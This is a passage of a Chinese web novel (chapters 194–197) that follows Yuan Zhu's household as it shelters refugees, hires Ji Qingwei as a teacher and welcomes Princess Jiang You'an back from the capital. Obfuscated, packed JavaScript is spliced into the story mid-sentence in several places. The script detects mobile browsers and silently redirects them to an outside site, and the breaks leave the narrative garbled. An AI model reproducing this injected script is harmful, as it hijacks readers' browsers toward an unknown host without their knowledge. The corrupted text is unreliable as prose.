“现在天气正热,走起路来,真是又热又闷,您回去的时候,不如就和我们一起坐马车吧。”龙世蓉说道。 “如此,便麻烦二位姑娘了,还不知二位姑娘贵姓?”纪青薇客气地问道。 “免贵姓龙,我叫龙世蓉。”龙世蓉答道。 “我叫许家莺。”许家莺笑着答道。 纪青薇从怀中拿出一个钱袋来,起身递给袁竹,“这是我的一点心意,还请袁老板一定收下。” 龙世蓉也走过去,把准备好的钱袋放到袁竹手上,“我的你也一并收了吧。” 许家莺站起身来,“还有我带来的布匹,你也收了吧。” “好,我都收了,等我记上账,以后手头宽裕了再还给你们。”袁竹笑着说道。 “谁要你还了?把我们当朋友就不要这么见外。”龙世蓉看向纪青薇,“纪娘子,马车就停在大门外,我们走吧。” 纪青薇点了点头,向袁竹告别,袁竹把钱袋放在桌上,挽留道:“都吃过午饭再走吧。” 龙世蓉连忙拒绝,“不了,吃了午饭,天就更热了,我还想早点儿回家凉快凉快呢。” 袁竹也没有强留,送她们往外走,“对了,龙老板,我有一件事想请你帮忙。” “什么事?”龙世蓉回过头来,停下了脚步。 “我们这里人多了之后,女子书院的学生也多了不少,偏偏又赶上邵老师生病了,最近学生们坐在学堂里,都没怎么上课,我请了郭英来帮忙教书,她才教了两天就说她干不了这活,我又让心柔试试,她也说不行,我想着,你在县城里认识的人多,你帮我留意一下,看看有没有能教书的女老师,给我介绍一两个。”袁竹说道。 “介绍男老师倒还好说,女老师怕是不容易,我帮你问问看吧。”龙世蓉说道。 “袁老板。”纪青薇微笑着看向袁竹,“要教书的话,您看我可以吗?” 194. 想念 “您想来这里教书?”袁竹惊讶地问道。 “是。”纪青薇点了点头,“您看可以吗?” “这…”袁竹有些犹豫,“我不识字,您可不可以,我也不好判断,不过,戴老师在这里教书,戴院长就已经很生气了,您真的可以过来吗?” “大半辈子都在宅子里拘着,我已经厌烦透了,现在我也不要他管着我了,我想来教书,想跟孩子们说说话,袁老板,你只说愿不愿意聘用我,不用管别的。”纪青薇说道。 “听说纪娘子出生于书香门第,肯定读了不少书。”许家莺说道。 “虽然说书读得多不一定会教书,不过,袁老板,你可以让纪娘子试试看,反正你现在也没有合适的人选,说不定她可以呢?”龙世蓉说道。 袁竹想了想,笑着答应了,“行,那就先试试吧,今天书院休息,您明天有空过来吗?” “有空,我每天都有空。”纪青薇笑着问道:“我可以看看学生们正在学的是什么书吗?” “好,我让春花跟您讲。”袁竹走出了堂屋门,向着院子里喊道:“春花!你过来一下,我有事找你。” 春花牵着钟明珠的手,从后院跑了出来,朗声问道:“什么事?” “你把在学堂念的书拿来给这位纪娘子看看。”袁竹说道。 纪青薇走了出来,微笑着说道:“还是我过去看看吧,你们可以给我讲讲你们最近在学什么吗?” 钟明珠没有说话,春花热情地拉住了纪青薇的手,“好啊,我带你去看。” “还用我帮你留意吗?”龙世蓉笑着问道。 “还是留意着吧,纪娘子没有做过老师,万一她做不下去,还是得找个老师能跟邵老师轮换一下。”袁竹说道。 “我们等等纪娘子,再坐一会儿吧。”许家莺说道。 “嗯。”龙世蓉点了点头,三人坐在堂屋里说着话,等着纪青薇回来。 纪青薇被龙世蓉送回家之后,第二天就拿着一些书卷来到了学堂,她学识渊博,说话时语气温和,面对学生们的提问也非常有耐心,大家都很欢迎这位新老师。 袁竹听到了学生们的反馈,高兴地聘用了纪青薇,给她和邵树木同等的束脩,一开始她还不肯收,袁竹说她这里不聘用不收钱的老师,纪青薇才无奈接受了。 开始时,纪青薇每日从县里赶过来教书,后来就干脆也住在了袁家,袁家住得人多,袁竹怕她觉得拥挤,把她暂时安置在了姜佑安的房间里。 流民越累越多地汇集到袁家,为了能多住些人,袁竹让人把阮荷、戴庭芳那些外出的人的物品整理好,装在不同的木箱里,放进了耳房里,所有闲置的房间里都住满了人,袁家的两处宅院也有些不堪承受了。 就在袁竹为此日夜烦恼之时,新知县来了,他来到袁家查看了一番之后,向袁竹表达了感谢,然后带走了一半男人,说要安排他们到北边去开垦荒地,现在去还能赶上今年的秋播,只要流民有了地,就不会饿死。 在袁竹这里攒下些钱来的男人们跟着知县走了,没几天就把自己的妻儿都接了过去,袁家的空间一下子宽松了不少,袁竹把邵苏木也接进了袁家,让她暂且住在阮荷的房间里,又安排那几个跟着杨恩做木工活的男人带着妻儿搬进了学堂附近的房子里。 过了些日子,知县又派人来带走了一些男人,还给袁竹传了个信,说她爹病死在了大牢里,让她找人过去收尸。 袁竹听了,并不觉得难过,和袁萱草说了一声,两人没让项三娘知道,去县里买了口棺材,雇人把尸体拉回去,埋在了袁贵生的坟旁。 秋播过去,很多男人又回到了袁家工地上,有的人手上有钱,只是感念袁家的恩情,过来帮忙盖房子不要钱,有的人是为了多挣点钱,好让一家人能撑到明年春天,袁竹都照常给他们发工钱,那边的房子盖好,又在袁宅和袁园之间的菜地上盖了两个小院。 小院盖好之后,攒够钱的男人们都回去了,趁着天还不太冷,赶紧储备过冬的柴禾和粮食,还剩下一些无处可去的,袁竹就留着他们在新房子里住着,让他们从山脚修筑一条上山的路,还照常给他们发工钱。 这天,袁萱草来井边打了水,坐在院子里同袁竹她们聊着天,春花和钟明珠蹲在地上抓子玩。 “姜院长她们有什么消息吗?”袁萱草问道。 “没呢。”袁竹本在缝补着衣服的手停了下来,轻轻叹了口气,“什么消息都没有,也不知道她们现在怎么样了。” “说不定她们已经在回来的路上了,就不用传递消息过来了。”徐洪愿说道。 春花抬起头来,兴奋地问道“箫姐姐她们要回来了?太好了!这么长时间看不见她们,我好想她们。” “可能是吧,这也说不准。”钟二娘说道。 “也不知道京城好不好玩儿,下次我也要跟着箫姐姐她们一起去京城。”春花说道。 徐洪愿低头看着春花,笑着问道:“你箫姐姐走的时候,你怎么不一起跟着?” 春花撅起嘴,“我想去京城玩儿,不想赶路,赶路太辛苦了。” “想去京城,不赶路可去不到。”徐洪愿说道。 春花转了转眼珠子,“那我还是不去了,在家里待着挺好的,我就在这等着箫姐姐给我带好吃的回来。” 众人听了,哈哈笑了起来,说她真是会享福,钟二娘看向钟明珠,“明珠,你想去京城吗?” “不想。”钟明珠摇了摇头,“我想待在娘身边。” 徐洪愿微微一笑,“这孩子现在说话越来越利索了,赶明儿就可以跟我一起出门卖花去了。” “我们家孩子还要读书,你自己卖花去吧。”钟二娘说道。 徐洪愿很不满,扬声说道:“卖花怎么了?卖花又不是什么丢人的事!” “还是让孩子好好读书吧,最近咱们家可不缺人手,连你都好久没出门卖花了吧?”袁竹说道。 “在家里卖花就够我忙的了,对了,我刚才回来看到前面那块新买的地已经清理干净了,是不是可以种菜了?”徐洪愿问道。 “可以种了,你们看看家里还有什么菜种,明天我让她们再去买些回来。”袁竹说道。 “旁边的房子都改好了,是不是改让辛老师搬过来了?”袁萱草笑着问道。 徐洪愿也笑了,“我看辛老师都等不及了,每天都要过来看一遍,你快让他搬过来吧。” 袁竹并不回避,笑着说道:“这有什么可着急的,等收拾好了,我就让他搬。” “搬过来好啊,省得辛老师来回跑,辛老师也是太讲究了,你房里有什么住不得的?我就没见过成了亲还要分房睡的。”钟二娘说道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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袁竹放下手里的东西,站起身来,“姐,你让她以后不要给我做东西了。” “这我劝不住,她说我们住在你这里,受了你恩,就得对你好。”袁萱草说道。 在袁萱草拿起扁担要挑水出去的时候,郭英和心柔兴高采烈地进了二门,她们俩一人挎着一个篮子,一进到院子里,就让大家都过去看,“看我们今天采到了什么!” “什么?”袁萱草放下扁担,凑过去看了看,“这不就是蘑菇吗?” “姐姐不喜欢吃蘑菇吗?”心柔问道。 袁萱草笑了笑,“喜欢,一大早就上山,真是辛苦你们了,等会儿我就做给你们吃。” 心柔开心地道谢,“谢谢姐姐!” “不光有蘑菇。”郭英把筐里的蘑菇捧到了心柔的筐里,只见下面满满都是红彤彤的山楂,她捧出一捧来,兴奋地说道:“孩子们都特别喜欢山楂糖球,这次可以多做些,让她们吃个够了!” “山楂糖球?那是什么?吃的?你们会做吗?”袁萱草问道。 正在地上抓子玩的春花和钟明珠都停了下来,院子里阳光温暖,秋风不凉,架子上的蔷薇叶片片飘落,碗莲正在默然结子。 “阮姐姐做的点心都好好吃,我想阮姐姐了。”春花轻声说道。 195. 重逢 “你阮姐姐很快就会回来的。”钟二娘摸了摸春花的脑袋,“下午我们一起做山楂糖球吃好不好?” 春花吸了吸鼻子,低下头应了一声,“好。” “春花还记得山楂糖球是怎么做的吗?”钟二娘问道。 春花摇了摇头,“不记得。” “娘,阮姐姐跟我说过,她有一本菜谱,里面应该写的有。”钟明珠说道。 阮荷房间里的书都还放在书架上,三人去了邵苏木的房间,很快找到了那本菜谱,钟二娘不认识字,春花和钟明珠认真地翻阅着,在最后一页发现了阮荷手写的山楂糖球的做法。 “有吗?”钟二娘轻声问道。 “有。”钟明珠点头应道。 钟二娘轻轻笑了,“好,下午咱们就做这个。” “嗯。”春花开心地笑了。 孩子们的情绪来得快,去得也快,见她们没什么事了,郭英把装着山楂的篮子留下,向袁竹道了别,和心柔、袁萱草一起离开了。 下午做了山楂球,孩子们都吃得很开心。 秋风渐凉时,学堂开学了,附近的人都知道这里收留了很多流民,送孩子来上学时,还都送了比平时多的粮食来,粮食增加了,袁竹的心里也踏实了许多,度过冬天,应该不成问题。 菊花开得繁盛之时,王世镜穿着便衣过来买花,袁竹向他问起姜佑安的近况,王世镜说他也不知情,还说没有消息就是好消息,让袁竹不必担心。 王世镜听说了袁家收留流民的事,买了菊花离开时,特意去了一趟县衙,叮嘱知县要多多关照袁家,过了一阵子,又专门派人给袁竹送过去一百两银子,告诉袁竹有难处可以去找他。 知县见知府关照,赶忙拨了一百两银子给袁竹送了过去,对流民的安置问题也格外重视起来。 收留流民的袁大善人、公主创办的女子书院以及知府大人的特别关照都让袁家在泰安县出了名,又听说这里教书的老师是两个女人,很多人便慕名而来,把自家的女孩子送到学院里读书,袁家的学生越来越多,名气也越来越大。 纪青薇长时间在女子书院待着,戴克政劝不回去,也不得不向她服了软,以戴家的名义向女子书院捐赠了一批书,每月请崇正书院德高望重的老师去女子书院讲一次课,纪青薇见他认错的态度还算端正,也就搬回了戴家去,有课的时候就坐着马车过来教书。 辛开元搬进了袁宅和袁园之间的小院里,小院里有三间房,一间厨房一间客厅一间卧房,晚上袁竹就从袁宅过去,宿在卧房里,辛开元在家时,她白天也常在那里,袁家人要是找不到袁竹的人,就知道她不是在花田里,就是在小院里。 辛开元不再到袁宅里去,杨恩他们也都一样,挑水、洗衣服都去新院子那里的水井边,只有女眷才会进到袁宅里,和里面的女人们一起做做活、说说话。 新院子那边的水井打好之后,杨恩用竹筒把山泉又引回了袁园,通入墙内用大缸接着,秋冬季节的水流虽然不算大,日常做饭洗菜之类的也够了,洗衣服就去袁宅的水井旁洗,不用再辛苦挑水回来了。 冬天,袁竹终于收到了阮荷的信,忙拿回小院里,让辛开元念给她听,钟二娘、徐洪愿她们也都跟了过去,想一起听听信上说了什么。 辛开元展开信纸,扬声向大家念了信的内容,信上说她们到京城了,一切都好,她们现在住在公主府里,宅院宽敞,食物丰盛,姜佑安安排了人带她们去京城各处游览,她们玩得很开心,还说袁竹要是能一起去就好了,又说她很想袁竹,等姜佑安忙完了,她就和姜佑安一起回来。 “就这些?”袁竹问道。 “对,就这些。”辛开元说道。 “怎么没提皇上的事?皇上没生佑安的气吗?”袁竹问道。 辛开元摇了摇头,“信上没提,我想应该没有吧,她是皇上的女儿,皇上再生气,骂一顿气也就消了。” “没提肯定就是没生气,嫁出去的女儿又回来了,说不定皇上还很高兴呢。”徐洪愿说道。 “小阮不都说一切都好吗?你就别瞎想了。”钟二娘说道。 其他人也附和道:“对啊,要是有事,小阮她们还能有心情出去玩?肯定没事。” “虎毒还不食子呢,姜院长肯定没事。” 袁竹笑了笑,“小阮说没事,那肯定没事,是我想多了,小阮来信是好消息,中午咱们吃点儿好的,好好庆祝一下。” 众人高兴地应和着,又说了几句闲话,才各自散去。 袁竹拿过阮荷的信,一行一行地看着,但一个字都看不懂,她抬起头来看着辛开元,“开元,你教我识字吧。” “你想给姜院长她们写信吗?我可以帮你代笔。”辛开元说道。 “不是。”袁竹摇了摇头,“我想看懂小阮写了什么,说不定她的第二封信已经在路上了,我能看懂,心里就不慌了。” 辛开元微微一笑,“好,我教你。” 冬日里清闲,养花买花的事都交给了徐洪愿和袁萱草打理,袁竹闷头在房间里整日练字读书,等待着阮荷的消息,可没等来第二封信,却等来了要开战的消息。 徐洪愿从县里回来,说大街上都在传,历国派来使臣,要接长兴公主回去,长兴公主斩杀了来使,盛国要同历国开战了。 袁竹听闻,如同五雷轰顶,本以为京城那边一切顺利,姜佑安和阮荷她们很快就会回来,没想到历国还是要让姜佑安去和亲,姜佑安还杀了使臣,让两国结了仇,这下不仅要打仗,她这个公主遭人怨恨,恐怕也不会有好下场。 在嘈杂的议论声中,袁竹稳了稳心神,把家里的一切交给徐洪愿打理,她带着辛开元去县里租了辆马车,奔波了几天之后,找到了知府王世镜,向他打探姜佑安的现状。 王世镜说斩杀来使都是夏天的事了,秋天去买花的时候,怕她过分忧虑,才没有告诉她,现在战事已经平息,两边正在和谈,公主平安无事,让她不必担心。 袁竹这才放心了,给王世镜留下一盆蜡梅就要走,王世镜要留二人在府里住几天,袁竹说家里人都担心打仗的事,要赶紧回去告诉她们一声,王世镜听了,也没过多挽留,只问了些流民安置的问题,就派人送她回去了。 回到袁家,袁竹跟大家说了战争结束正在和谈的事,大家也都安心了,暗自期待着姜佑安她们早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190533|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日归来。 年前,水仙花开了,大家照旧去庙会上卖花,许多受过袁家恩惠的人,都专门过来买花,袁竹考虑到他们手中还没有存下多少钱,就把水仙花的价格降低了不少,听说水仙花降价,以往从没买过水仙的人家也过来争相购买,没几天就卖光了。 热热闹闹地过完了年,袁竹考虑到女子书院的学生太多了,学堂里过于拥挤,该建一个新书院了,于是带领袁家人把玫瑰花田里的玫瑰都挪走了,又雇人把袁宅以东直到学堂附近的地全都盖起围墙圈起来,要在里面盖了许多房子,分别用来做学堂、书房、宿舍、厨房和厕所,还专门留出了操练的场地。 三月末,袁园里来游春的人络绎不绝,十分热闹,袁宅里也不逊色,纪青薇带着学生们坐在盛放的蔷薇架下行蔷薇令,以茶代酒,花瓣落入茶杯中者,喝茶作诗,供大家一起品评。 邵苏木在一旁铺设了笔墨纸砚,说会把佳作就记录下来,还说要把今天的好诗和以往整理出来的诗文放在一起,集结成册,拿到崇正出院去印刷出来,供大家传阅。 学生们听了都铆足了劲头,想要作出好诗来,印刷到纸上去。 袁竹坐在屋檐下,默默听着她们吟诗,女人们没有见过诗会,都觉得新奇,挤挤挨挨地站在二门内的走廊下围观,虽然听不太懂学生们在说什么,却也跟着大家一起鼓掌叫好。 诗会过半,冥思苦想了半晌的学生们都有些累了,心柔穿着一身鲜亮的衣服走到了院子中间,“大家暂且歇一歇,我给大家跳一支舞助助兴吧。” 众人纷纷高兴应和,纪青薇略有些遗憾地说道:“如此甚好,只可惜我今天没带笛子也没带箫。” “没关系,我带了鼓来。”心柔回头看了一眼,郭英拿着一只鼓走了出来。 众人把院子中间清理干净,郭英搬了一把椅子,同袁竹一起坐在了屋檐下,她把鼓放在膝上,敲击起来。 在春日的阳光下,在盛开的蔷薇旁,心柔穿着绿衣黄裙,踩着鼓点舞动起来,她身体轻盈,动作潇洒,灵动地演绎着一个开心出游的女人,她这里看看,那里望望,一会儿跟朋友嬉笑打闹,一会儿跟陌生人打招呼,一举一动都透着欢快和惊喜。 一阵风吹过,蔷薇花瓣随风飘落,纷纷扬扬地落在了她的素色发髻上,也落在了她飞扬的黄色裙摆上,众人目不转睛地看着,仿佛亲眼见到了花仙下凡,舞动得那样优美,那样动人心魄。 鼓声停下,心柔气息微乱,头上珠花轻颤,她收拢双手,微笑着向大家点头示意,众人正要鼓掌叫好,就听见有人高声赞道:“好!这样的舞蹈才真叫人赏心悦目!” 众人往发出声音的方向看去,院子里瞬间沸腾起来。 “姜院长回来了!” “真的是姜院长!” “姜院长!你可算回来了!” “戴老师和阮姐姐也回来了!” 大家一窝蜂地涌到了二门内的走廊前,高兴地簇拥在姜佑安身边,热情地欢迎着她们的归来。 姜佑安穿着一身锦衣,头上不饰珠翠,腰间系着一个锦囊,隔着人群看向站在屋檐下的袁竹,大喊道:“袁竹,我回来了!” 196. 归来 众人给袁竹让出路来,袁竹飞奔过去,扑在了姜佑安的怀里,嘴上却还在责怪道:“要回来,怎么也不先递个信儿来?就让我们干等着!” 姜佑安抱着袁竹,轻轻拍了拍她的后背,笑着说道:“我不在,你们这不是也玩得挺开心的吗?” 心柔脸上带着笑,解释道:“大家本来在作诗,是我偏要跳舞,让姜院长见笑了。” 姜佑安放开了袁竹,“我还以为你不再跳舞了呢,没想到舞艺更精进了。” “只是闲来无事跳着玩罢了。”心柔说道。 姜佑安看向郭英,笑着问道:“真没想到,你还会打鼓呢?” “这也是心柔教我的。”郭英笑着应道。 袁竹拉住了阮荷的手,“小阮,一路上受苦了吧。” “没有,佑安姐姐很照顾我,一路上都还好。”阮荷笑着说道。 袁竹放开阮荷,又握住了姜白凤的手,笑着问道:“京城里好玩吗?” “好玩,不过,还是回家好。”姜白凤笑着回道。 放开了姜白凤,袁竹又抱了抱李长风,笑着说道:“长风也回来了。” 李长风笑着点了点头,“回来了。” 袁竹放开了李长风,看向戴庭芳,点头说道:“戴老师辛苦了。” 戴庭芳微笑着点了点头,“袁娘子也辛苦了。” “姜院长,欢迎你回来!”张初五凑到姜佑安身边高兴地说道。 姜佑安抬手摸了摸张初五的脑袋,“初五长高了啊,看着壮实了不少,这段时间有没有好好练箭啊?” “当然有!”春花抢先答道,“她还是教我们射箭的老师呢。” 姜佑安装作吃惊的样子,“初五这么厉害了!不愧是我的第一个社员,待会儿我送你一副新弓箭,你试试顺不顺手。” “谢谢姜院长!”张初五高兴地向姜佑安鞠躬行礼。 “姜院长,箫姐姐呢,她还在后面吗?”春花问道。 “你箫姐姐回家乡去了,她说有机会的话,会再过来看你。”姜佑安说道。 春花没有一皱,快要哭出来了,“箫姐姐她们,都不回来了?” 姜佑安在春花面前蹲了下来,“失地收复,她们都回家了,你要是想回去的话,我也可以找人送你回去。” “我没有家了,我不走。”春花瘪着嘴说道。 姜佑安把春花抱在了怀里,“不走就不走,这里就是你的家,你不用到别的地方去。” 春花含着眼泪点了点头。 钟明珠走向前来,看着姜佑安的眼睛,微笑着说道:“姜院长,欢迎回家!” 看到钟明珠说话和普通人别无二致,姜佑安很是欣慰,“谢谢明珠,我也给你带了礼物,一会儿拿给你。” “谢谢姜院长!”钟明珠开心地答道。 “我呢?我没有礼物吗?”春花放开姜佑安,委屈地问道。 “有!当然有,大家都有,谁要是发漏了,就过来跟我说,我给你补上。”姜佑安笑着说道。 袁竹向后面看了好几眼,都没有看到阮晨烟的身影,她向阮荷问道:“小阮,晨烟呢,还有周帛和霍静呢,她们怎么没有一起回来?” “她们都留在京城了。”阮荷答道。 “留在京城?晨烟还那么小,你怎么能放她一个人留在京城?”袁竹不可置信地问道。 阮荷低下头,“这是晨烟自己决定的,我也劝不动她。” “没事的,你放心。”姜佑安拍了拍袁竹的肩膀,“她们都住在昭明那里,昭明能保护她们,她们要是想回来,昭明也会送她们回来的。” “三个孩子背井离乡去了那么远的地方,看不见人,也没有消息,我怎么能放心?周帛也没回来,你问问周通海能不能放心!”袁竹生气地说道。 “把孩子一辈子拴在你身边,你就能放心了?孩子不小了,可以决定自己要走什么路,能抓住机会的,都是聪明人,你让她们回来,她们才生气呢。”姜佑安说道。 “什么聪明人?你是说小阮回来了,就不聪明了吗?”袁竹说道。 “袁姐姐,我只是暂时回来了,以后我也要到京城去。”阮荷说道。 “你还要去?”袁竹的表情由怒转悲,她看向姜佑安,“你还要走吗?” “佑安姐姐不走,我自己走,皇上在佑安姐姐的提议下,开了女官考试,我是回来潜心学习的,以后要是进京通过了考试,我就可以做女官了。”阮荷说道。 “我让她留在昭明那里学习,她觉得不好意思,一定要回到这里来,我才把她带回来的,其他三个人,根本没有跟着我回来的意思。”姜佑安说道。 阮荷微微一笑,“我要是像霍姐姐那么厉害,肯定就直接留下了。” 邵苏木走过来,激动地问道:“姜院长,皇上开了女官科考?” “是,虽然招收的人不多,处理的也多是皇宫内苑的事,但也算是给读书的女人们提供了一条出路。”姜佑安说道。 纪青薇走了过来,向姜佑安鞠躬行礼,“我替所有读书的女人,谢谢公主殿下了。” 姜佑安正想问这个看起来有点面熟的女人是谁,戴庭芳就走了过来,惊讶地问道:“娘,你怎么会在这里?” 纪青薇高兴地握着戴庭芳的手,“儿子,你终于回来了,我接替了你,在这里教书呢。” 戴庭芳很惊讶,“爹不是不让你出门吗?你怎么会在这里教书?” 姜佑安也很惊讶,原来看着眼熟,是因为母子俩长得像,更惊讶的是,戴庭芳的母亲竟然会在女子书院教书。 “要是都听他的,我就什么都没有了,我在这里教书,才真正理解了你的想法,你入赘也好,在这里教书也好,我都支持你。”纪青薇说道。 “你跟爹吵架了?”戴庭芳小心翼翼地问道。 “吵了,我还搬出来过,现在他不敢反对我,要是继续唠叨下去,我和你都不回去了,让他自己一个过。”纪青薇说道。 “娘,谢谢你。”戴庭芳拉着纪青薇的手向姜佑安介绍道:“佑安,这是我娘。” 姜佑安向纪青薇低头行礼,“见过伯母,一直没能前去拜会您,还望见谅。” 纪青薇赶忙扶住姜佑安,“怎敢让姜院长给我行礼,是我该向公主殿下行礼才是。” “伯母客气了,我现在也只是一介布衣,不是什么公主了,晚辈向长辈行礼,是理所应当的。”姜佑安微笑着说道。 “都别在这里站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“也就是佑安走的时候,给我留了几百两银子,要不然,我也不敢接济她们,再加上龙世蓉、许家莺还有纪老师的捐助,对了,王知府也给我拿了一百两,还有知县给的一百两,这才撑过了冬天。”袁竹说道。 这边说着话,那边李长风不断引着人往姜佑安的房间里搬东西,钟二娘招呼他过来喝杯茶,他才坐过来歇歇。 “你这是把公主府里的东西都搬来了吗?”袁萱草问道。 “那是给大家带的礼物,一会儿等他们搬完,我给你们分一分。”姜佑安说道。 “还好那边的房间已经空出来了,要不然你这么多东西,都没地方放。”袁竹说道。 “就是房间里原本的东西都收起来放在耳房了,等会儿我去拿出来,把房间也打扫一下,你就能住了。”钟二娘说道。 姜佑安看向袁竹,“屋里的东西都还留着呢?我不是让你当了换钱吗?” “钱还够用,我当它干什么,再说了,去年你们用的两辆马车,龙世蓉都没有收我的钱,要是去她那里当,她又多给我钱,我就更不好意思了。”袁竹说道。 袁萱草没太留意她们在说什么,只紧紧盯着那些仆从的手里的东西,想到自己也能收获其中一件,不禁心花怒放,高兴地说道:“沾了公主的光,我们也能收到京城来的礼物,真是谢谢公主殿下了。” “袁姐姐,我以后不再是公主,只是平民,你要么像袁竹一样叫我佑安,要么就叫我姜院长,不许再叫公主殿下了。”姜佑安微笑着说道。 袁萱草很是惊讶,“怎么不是公主了?皇上跟你决裂了?” 197. 礼物 “是我跟皇上决裂了,我不想再做他的女儿,拿了战胜的奖赏,我就回来了。”姜佑安说道。 “你跟皇上决裂?皇上会不会很生气?”钟二娘担心地问道。 姜佑安端起茶杯,轻描淡写地说道:“还好吧,昭明帮我打了胜仗,拿回了失地,他挺高兴的,反正他原本就不在乎我这个女儿,我走了,每年还能给他省下一笔岁俸,他没什么可生气的,只说让我以后不要再回京城去。” 徐洪愿和几个女人从县里卖花回来,听说姜佑安回来了,急忙跑进了堂屋,一把搂住了她的肩膀,“你回来了!你可算回来了!” 姜佑安笑着说道:“你小心点儿,我手上端着茶呢。” 徐洪愿忙放开她,有些尴尬地笑了笑,“看见你回来,我太激动了。” “你卖花去了?喝点儿茶歇歇吧。”姜佑安把手中的茶杯递给了徐洪愿。 徐洪愿也不跟她客气,端起茶杯,咕嘟咕嘟喝完了一杯茶,钟二娘拿了茶壶来给她添上,又给姜佑安重新倒了一杯。 徐洪愿喝了茶,在椅子上落了座,嘴停不下来地问东问西,去房间里看了姜佑安带回来的礼物,又拉着姜佑安要带她看看袁竹给她和戴庭芳建的小院。 姜佑安随徐洪愿她们出了院门,辛开元便迎了上来,高兴地同姜佑安她们打着招呼,大家说着话,一起去了袁竹小院后面的院子里。 见自己和戴庭芳有了新住处,且就在袁宅和袁园中间,她很满意,说晚上要在小院里住,钟二娘马上安排人给她整理房间,把耳房里姜佑安的东西送过来,辛开元清理着院子,大家扫地、擦桌子、搬东西,忙得热火朝天。 从小院里出来,那些仆从们已经把礼品全都搬进去了,姜佑安让阮荷把身契还给他们,又给了他们赏钱,让他们回家去,男人们欢欢喜喜,拜谢了姜佑安,各自离去,女人们大多不想走,想要跟随在姜佑安身边,姜佑安便让她们留下,袁竹让袁萱草给她们安排了住处,又给马车和马匹找了存放的地方。 杨恩听到消息,也赶了过来,兴奋又略带些生疏地问候着姜佑安她们,阮荷和姜白凤跟他说着在京城的见闻,姜佑安把从京城带回来的制作精巧的木雕摆件和玉雕摆件送给了他。钟二娘去把分别装着李长风和阮荷的私人物品的箱子找了出来,杨恩和李长风抬了箱子回去,袁竹让杨恩不用做午饭了,两人收拾好了就过来吃饭。 姜佑安把弓箭送给张初五,还拿出一匹锦缎,让她带回去给张慈,又给钟明珠送了面具和书,给春花送了玩具和蜜饯,所有她能叫得上名字的孩子,都一一给了礼物,孩子们道了谢,高兴地玩去了。 姜佑安问明了袁家有多少人,按人数把带回来的东西分了分,让大家帮忙搬到了各自的房间里去,堆得满满当当的房间不多会儿就搬空了大半,大家拿着礼物欢欢喜喜地各自散去,围观的其他孩子也都拿着各式玩具跑走了,房间里终于安静了下来。 见房间空了出来,袁竹说阮荷的房间,邵苏木在住着,正好姜佑安要去小院住,就让人把阮荷的箱子搬了过来,让她晚上在姜佑安的房间住。 阮荷没什么意见,和大家一起打扫了房间,铺设好了被褥,把带回来的书一摞摞放在桌上,就此住了下来。 又拿出锦缎和金银首饰,分送给了郭英、钟二娘、徐洪愿、心柔和袁萱草,她们收了礼物,又说了会儿话,才各自散去。 见人都走了,姜佑安把几个箱子搬进了袁竹的房间,其中一个箱子里装着整套的茶具、两把缂丝团扇和一大包稀有花木的种子,另外几个箱子,满满装着的都是银锭, 袁竹吓了一跳,忙把门窗都关上,压低了声音问道:“你哪来这么多钱?” “这是我打胜仗的奖赏啊,还有那些丝绸锦缎,金银首饰,马匹和仆从,都是皇上给的。”姜佑安说道。 “这,这也太多了吧。”看着那么多钱,袁竹感觉一阵心慌,“得在房间里挖个洞,藏起来!” 姜佑安笑了起来,她在椅子上坐下,“好啊,你想在哪儿挖?” 袁竹环视了一圈,认真地挑选着位置,“要不就埋床底下吧,上面再堆些杂物,谁都发现不了。” “那我现在拿铁锹进来?”姜佑安笑着问道。 “你先歇着吧。”袁竹搬了两箱塞进衣柜里,剩下的塞到了床底下,上面放些杂物遮挡,“你说皇上不许你再进京是怎么回事?” “可能是怕我举兵造反吧,两千两银子赶走我这个威胁,可是很划算的。”姜佑安笑着说道。 袁竹在姜佑安旁边坐下,“怕你造反?皇上怎么会这么想?” “我去京城之前,不就有造反的罪名吗?不管真假,传到皇上耳朵里,他都会在意,皇上最忌讳的就是别人觊觎他的皇位,哪怕是自己的孩子也不例外,我从战场上回来的时候,他肯定也考虑过要怎么处死我,不过我先一步告诉他,只要他开通女官考试,我就愿意放弃公主的身份,只做一个平民,回来继续开书院,他见我没有参与皇位之争的心思,才愿意放我回来的,只是为了防止我变卦,他还要跟我约定,非诏不得入京。”姜佑安说道。 “你娘呢?她不想留你在身边?”袁竹问道。 提到母亲,姜佑安眼神中有了些哀伤,“皇宫里皇上最大,我娘连皇后都不是,她说话要是有用,我也不用去和亲了。” 袁竹不禁叹了口气,“我还以为你回去能过上好日子呢,之前送你去和亲,你们打了胜仗他还要杀你,真是铁石心肠,你回来得好,以后就在这里好好开书院吧,再别去京城了。” 姜佑安微微一笑,“你还知道铁石心肠呢?辛老师教你的?” “是他教的。”袁竹笑了笑,“我在学着读书写字,我想把种花的技艺写下来,常翻着看看,省得我忘了,要是其她人想学,也能看着学。对了,你要是给你娘写信,能送到她手里吗?” “这个嘛,我没想过,宫里通信不易,也许我可以寄给昭明,让她想办法给我娘。”姜佑安犹豫地说道。 “那也行啊,起码你们两个人还能写信说说话,要是一个人在宫里干等,得不到你的任何消息,那真是急死人。”袁竹说道。 姜佑安点了点头,“嗯,我试试,明天我就写信,给我娘报平安。” 中午热热闹闹地吃了午饭,姜佑安把两套文房四宝和几本珍稀的古书送给了邵苏木和纪青薇,又送了辛开元一把名人题字的折扇,才和戴庭芳一起回小院 